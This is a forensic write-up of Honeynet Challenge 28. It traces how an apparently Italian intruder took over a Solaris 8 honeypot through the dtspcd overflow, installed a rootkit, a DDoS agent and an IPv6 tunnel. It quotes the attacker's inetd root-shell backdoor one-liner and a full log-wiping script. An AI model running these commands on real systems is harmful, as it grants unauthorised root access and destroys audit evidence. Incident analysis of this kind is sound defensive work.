Honeynet Challenge 28

Submitted by Beat Bolli <bbolli@ymail.ch>

This is the first challenge that I tried to solve. I used a decidedly low-level approach. The only tools I tried to use were tcpdump, less, whois, dig and Google. The command line I used initially was tcpdump -nX -r day1.log | less. This allowed me to browse the dump comfortably. The options to tcpdump mean:

I will present the answers in the order that I found them. The whole challenge took around 6 hours, including writing this up.

The first few screenfuls of output only contained DNS queries and answers, so I decided to suppress this protocol. The command line grew to tcpdump -nX -r day1.log not udp port 53 | less. Browsing through the tcpdump output, I saw different attempts to connect to TCP ports 80 (http), 8080 (webcache), 1433 (ms-sql), 3128 (squid) and the occasional UDP packet to port 137 (nbt), but all of these were met with a RST packet, so they didn't represent any danger.

Thinks got a lot more interesting when at 17:36:25.353459, a commection to TCP port 6112 was established from At 17:36:25.793430, a second connection is established from source port 56710 to 6112. In an answer packet at 17:36:26.053412, the honeypot identifies itself as host zoberius running SunOS 5.8 on the sun4u architecture.

What is the operating system of the honeypot? How did you determine that? (see day1)

The operating system is SunOS 5.8 a.k.a. Solaris 8. This information was given by the honeypot in a reply packet from TCP port 6112.

The connection was closed and a new one established, now from source port 56711 to destination 6112. This means that the attacker (well, we don't know yet if this is an attacker! ;-) used an OS that doesn't randomize its source port numbers. Maybe this will be significant later on.

At 17:36:26.503382, I saw a packet that had all the signs of a buffer overflow attempt. Lots of repeated short byte sequences with the values 80, 1C, 40, 11. I wouldn't be surprised if this was a SPARC NOP instruction. But the kicker was the shellscript at the end of the packet (wrapped at command boundaries for legibility):

/bin/ksh    -c  echo "ingreslock stream tcp nowait root /bin/sh sh -i">/tmp/x;
/usr/sbin/inetd -s /tmp/x;
sleep 10;
/bin/rm -f /tmp/x

The attacker (now I knew for sure!) started a listening inetd that will run an interactive root shell when connecting to TCP port 1524 (ingreslock). To complete the buffer overflow, two more packets containing the letter A are sent. Maybe as a side effect of the buffer overflow, the honeypot closes the 6112 connection at 17:36:37.392645.

And the attacker loses no time: at 17:36:37.642628, the root shell is run. The first commands sent are

uname -a;
ls -l /core /var/dt/tmp/DTSPCD.log;
export PATH;
echo "BD.PID(s): "`ps -fed|grep ' -s /tmp/x'|grep -v grep|awk '{print $2}'`

The attacker wanted to know the exact machine and OS type, listed two files, reset the path and looked to see if his root shell backdoor was still running. The answer:

SunOS zoberius 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-5_10
/core: No such file or directory
/var/dt/tmp/DTSPCD.log: No such file or directory
BD PID(s): 1773

He then tried to start wget, but the command wasn't installed. A subsequent run of the command w showed that no users were logged in.

How did the attacker(s) break into the system? (see day1)

The attacker exploited a hole in Sun's dtspc service, part of the Common Desktop Environment (CDE). This is a well-known hole; the original advisary was published in November 2001.

After starting a new shell and clearing the HISTFILE and DISPLAY environment variables, tha attacker created and changed to the directory /usr/share/man/man1/.old. Then he ftped to, logged on as user bobzz, password joka, but first trying password ftp: ioctl(TIOCGETP), and proceeded to download a wget binary (a command-line HTTP and FTP client) and the script dlp. Its contents are:

echo Delete LogZ by bobbino
echo -------
echo Deleting /var/log...
rm /var/log/secure ; touch /var/log/secure
rm /var/log/secure.1 ; touch /var/log/secure.1
rm /var/log/secure.2 ; touch /var/log/secure.2
rm /var/log/secure.3 ; touch /var/log/secure.3
rm /var/log/secure.4 ; touch /var/log/secure.4
rm /var/log/boot.log ; touch /var/log/boot.log
rm /var/log/boot.log.1 ; touch /var/log/boot.log.1
rm /var/log/boot.log.2 ; touch /var/log/boot.log.2
rm /var/log/boot.log.3 ; touch /var/log/boot.log.3
rm /var/log/boot.log.4 ; touch /var/log/boot.log.4
rm /var/log/cron ; touch /var/log/cron
rm /var/log/cron.1 ; touch /var/log/cron.1
rm /var/log/cron.2 ; touch /var/log/cron.2
rm /var/log/cron.3 ; touch /var/log/cron.3
rm /var/log/cron.4 ; touch /var/log/cron.4
rm /var/log/lastlog ; touch /var/log/lastlog
rm /var/log/xferlog ; touch /var/log/xferlog
rm /var/log/xferlog.1 ; touch /var/log/xferlog.1
rm /var/log/xferlog.2 ; touch /var/log/xferlog.2
rm /var/log/xferlog.3 ; touch /var/log/xferlog.3
rm /var/log/xferlog.4 ; touch /var/log/xferlog.4
rm /var/log/wtmp ; touch /var/log/wtmp
rm /var/log/wtmp.1 ; touch /var/log/wtmp.1
rm /var/log/spooler ; touch /var/log/spooler
rm /var/log/spooler.1 ; touch /var/log/spooler.1
rm /var/log/spooler.2 ; touch /var/log/spooler.2
rm /var/log/spooler.3 ; touch /var/log/spooler.3
rm /var/log/spooler.4 ; touch /var/log/spooler.4
echo ---
echo LogZ Cancellati
echo Delete LogZ by bobbino

cat /etc/inetd.conf | grep -v dtspcd > miao
mv miao inetd.conf
ps -ef | grep inetd
pkill inetd

echo ---
echo Patch.....
echo Attivata by RyO

The name of the author, bobbino, and the message, LogZ Cancellati, leave the impression that the script's author is Italian. "Cancellati" means "deleted" in English. The script deleted and recreated log files that could point to the attacker. Further, the script tried to disable the dtspcd service. It would fail unless executed in the /etc directory.

Next, the attacker retrieves the file solbnc.  It was downloaded in ASCII format, even though it was an ELF executable. The file contents are suspicious: strings like must_kill_all,commence_havoc, commence_ipstorm, fw00ding (flooding?), ficken ("f*ck" in German), commence_smurf, commence_dnsshit can be found. This looked like a distributed denial of service (DDoS) tool to me. Maybe the usage string will be important later: Usage %s <dst> <src> <size> <number>.

After I had scrolled through endless relocation tables, the file iupv6sun was retrieved, but it was not present on the FTP server. Then the attacker got the file name right and retrieved the file ipv6sun:

echo "Inserisci il tuo ipv4"; read ipv4tuo; echo "..Okz"
echo "Inserisci l'ipv4 del TunnelBroker"; read ipv4server; echo "..Okz"
echo "tsrc ipv4tuo tdst ipv4server up" > /etc/hostname6.ip.tun0
echo ""
echo "Inserisci il tuo IPV6"; read ipv6tuo; echo "..Okz"
echo "Inserisci l'IPV6 dell'IRCServer"; read ipv6server; echo "..Okz"
echo "addif ipv6tuo ipv6server up" >> /etc/hostname6.ip.tun0
echo ""
echo "TermiNateD =)"
echo "maphia-Groups r0x again"

This file seems to lack a few $ signs for variable substitutions, but what do I know? Here we also find a few more pointers to the language of the attacker: Italian. The purpose of the script seems related to some IPv6 over IPv4 tunnel broker and a IPv6-capable IRC server.

The attacker logs off the FTP server and checks if his files are indeed on the honeypot:

# ls
# chmod +x solbnc wget dlp
# ./wget
wget: missing URL
Usage: wget [OPTION]... [URL]...
Try `wget --help' for more options.
# wget

This is a 1.8 MB tar file that finally got me to use ethereal to extract the information from the log. I extracted the HTTP conversation from the log file, cut away the HTTP headers and was left with the tar file. Interestingly, the HTTP server decompressed the file before sending it. Also, transfer speed for all downloads was quite slow, never exceeding 4.5 kBytes per second.

The file sol/setup inside the archive identifies the file as the X-org SunOS Rootkit V2.5D by Judge-D/Danny-Boy. It contains trojaned versions of the commands netstat, ls, lsof, find, strings, du, top, passwd, ping and su, plus the psyBNC IRC relay. The purpose of these files is the concealment of the rootkit's existence. The trojaned ls woudn't list the rootkit files, or netstat wouldn't show the suspicious connections, for example. Of course, our attacker had a problem extracting the archive:

# rrrrrretar -xf sol.tar.gz
rrrrrretar: not found
# cd sol
sol: does not exist
# ./setup
./setup: not found
# cd sol
sol: does not exist
# tar -xf sol.tar.gz
# cd sol
# ./setup

The rootkit was installed with password mixer, an SSH server on port 5001 and psyBNC on port 7000. It then proceeded to download some SunOS patches from sunsolve.sun.com, namely 111085-02.zip (SUNWcsu), 108949-07.zip (SUNWdtbas, SUNWdtbax) and 111606-02.zip (SUNWftpu). The attacker then starts the psyBNC tool, deletes the logs (again, as this was already done by the setup script) and exits the shell. He then goes on IRC to chat (brag about this crack?) with his friends.

Which systems were used in this attack, and how? (see day1)

Create a diagram that demonstrates the sequences involved in the attack. (see day1)

  1. A buffer overflow on port 6112 allows the installation of a remote root shell running on port 1524
  2. FTP download of some tools from
  3. HTTP download of rootkit from
  4. Rootkit installs trojaned versions of system utilities, an SSH server and probably an IRC relay

What is the purpose/reason of the ICMP packets with 'skillz' in them? (see day1)

A Google search for "ICMP skillz" points to the Stacheldraht DDoS tool. From www.iss.net:The ICMP packets act as a "heartbeat" between agent and master server, and to determine source IP spoofing capabilities of the master server.

Following the attack, the attacker(s) enabled a unique protocol that one would not expect to find on an IPv4 network. Can you identify that protocol and why it was used? (see day3)

The protocol installed was a IPv6 tunnel over a IPv4 link. I believe the reason to use this tunnel is to conceal the communication. The attacker seems to think that an encapsulated IPv6 communication is harder to detect by intrusion detection systems (IDS).

Can you identify the nationality of the attacker? (see day3)

Judging from the comments in the scripts, the contents if the IRC sessions and the whois info and the hostnames given by Ethereal, the attacker is Italian. The host in Taiwan which is used to attack from was probably cracked earlier.

What are the implications of using the unusual IP protocol to the Intrusion Detection industry?

The tools must be able to decode not only the usual protocols, but also the more exotic ones (IPv6 still isn't as wide spread as its supporters would like it to be...). Not only this, but the tools also have to be able to handle arbitrary encapsulation correctly.

What tools exist that can decode this protocol?

snort, starting with release 2.0; ethereal can decode "stand-alone" IPv6, I couldn't find out if encapsulation in IPv4 is supported.